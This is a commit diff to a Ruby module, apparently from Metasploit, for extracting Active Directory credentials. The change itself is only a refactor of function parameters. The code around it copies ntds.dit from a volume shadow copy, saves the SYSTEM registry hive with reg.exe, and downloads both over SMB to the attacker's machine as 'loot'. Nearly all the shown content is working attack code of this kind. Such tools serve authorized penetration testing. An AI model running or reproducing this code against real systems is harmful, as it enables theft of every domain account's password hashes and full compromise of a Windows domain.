@@ -88,9 +88,9 @@ def run
88
88
end
89
89
end
90
90
if vscpath
91
- if copy_ntds ( @ip , vscpath , text ) and copy_sys_hive ( @ip )
92
- download_ntds ( ( datastore [ 'WINPATH' ] + "\\ Temp\\ ntds" ) , @ip )
93
- download_sys_hive ( ( datastore [ 'WINPATH' ] + "\\ Temp\\ sys" ) , @ip )
91
+ if copy_ntds ( vscpath , text ) and copy_sys_hive
92
+ download_ntds ( ( datastore [ 'WINPATH' ] + "\\ Temp\\ ntds" ) )
93
+ download_sys_hive ( ( datastore [ 'WINPATH' ] + "\\ Temp\\ sys" ) )
94
94
else
95
95
print_error ( "#{ peer } - Failed to find a volume shadow copy. Issuing cleanup command sequence." )
96
96
end
@@ -149,7 +149,7 @@ def make_volume_shadow_copy(createvsc, text, bat)
149
149
150
150
151
151
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
152
- def copy_ntds ( ip , vscpath , text )
152
+ def copy_ntds ( vscpath , text )
153
153
begin
154
154
ntdspath = vscpath . to_s + "\\ " + datastore [ 'WINPATH' ] + "\\ NTDS\\ ntds.dit"
155
155
command = "%COMSPEC% /C copy /Y \" #{ ntdspath } \" %WINDIR%\\ Temp\\ ntds"
@@ -179,7 +179,7 @@ def check_ntds(text)
179
179
180
180
181
181
# Copies the SYSTEM hive file to the Temp directory on the target host
182
- def copy_sys_hive ( ip )
182
+ def copy_sys_hive
183
183
begin
184
184
# Try to crate the sys hive copy
185
185
command = "%COMSPEC% /C reg.exe save HKLM\\ SYSTEM %WINDIR%\\ Temp\\ sys /y"
@@ -192,14 +192,14 @@ def copy_sys_hive(ip)
192
192
193
193
194
194
# Download the ntds.dit copy to your attacking machine
195
- def download_ntds ( file , ip )
195
+ def download_ntds ( file )
196
196
print_status ( "#{ peer } - Downloading ntds.dit file" )
197
197
begin
198
198
# Try to download ntds.dit
199
199
simple . connect ( "\\ \\ #{ @ip } \\ #{ @smbshare } " )
200
200
remotefile = simple . open ( "#{ file } " , 'rob' )
201
201
data = remotefile . read
202
- store_loot ( "NTDS.database" , "data" , ip , data , "ntds.dit" , nil , nil )
202
+ store_loot ( "NTDS.database" , "data" , @ ip, data , "ntds.dit" , nil , nil )
203
203
remotefile . close
204
204
rescue StandardError => ntdsdownloaderror
205
205
print_error ( "#{ peer } - Unable to downlaod ntds.dit: #{ ntdsdownloaderror } " )
@@ -210,14 +210,14 @@ def download_ntds(file, ip)
210
210
211
211
212
212
# Download the SYSTEM hive copy to your attacking machine
213
- def download_sys_hive ( file , ip )
213
+ def download_sys_hive ( file )
214
214
print_status ( "#{ peer } - Downloading SYSTEM hive file" )
215
215
begin
216
216
# Try to download SYSTEM hive
217
217
simple . connect ( "\\ \\ #{ @ip } \\ #{ @smbshare } " )
218
218
remotefile = simple . open ( "#{ file } " , 'rob' )
219
219
data = remotefile . read
220
- store_loot ( "Registry.hive.system" , "binary/reg" , ip , data , "system-hive" , nil , nil )
220
+ store_loot ( "Registry.hive.system" , "binary/reg" , @ ip, data , "system-hive" , nil , nil )
221
221
remotefile . close
222
222
rescue StandardError => sysdownloaderror
223
223
print_error ( "#{ peer } - Unable to download SYSTEM hive: #{ sysdownloaderror } " )
0 commit comments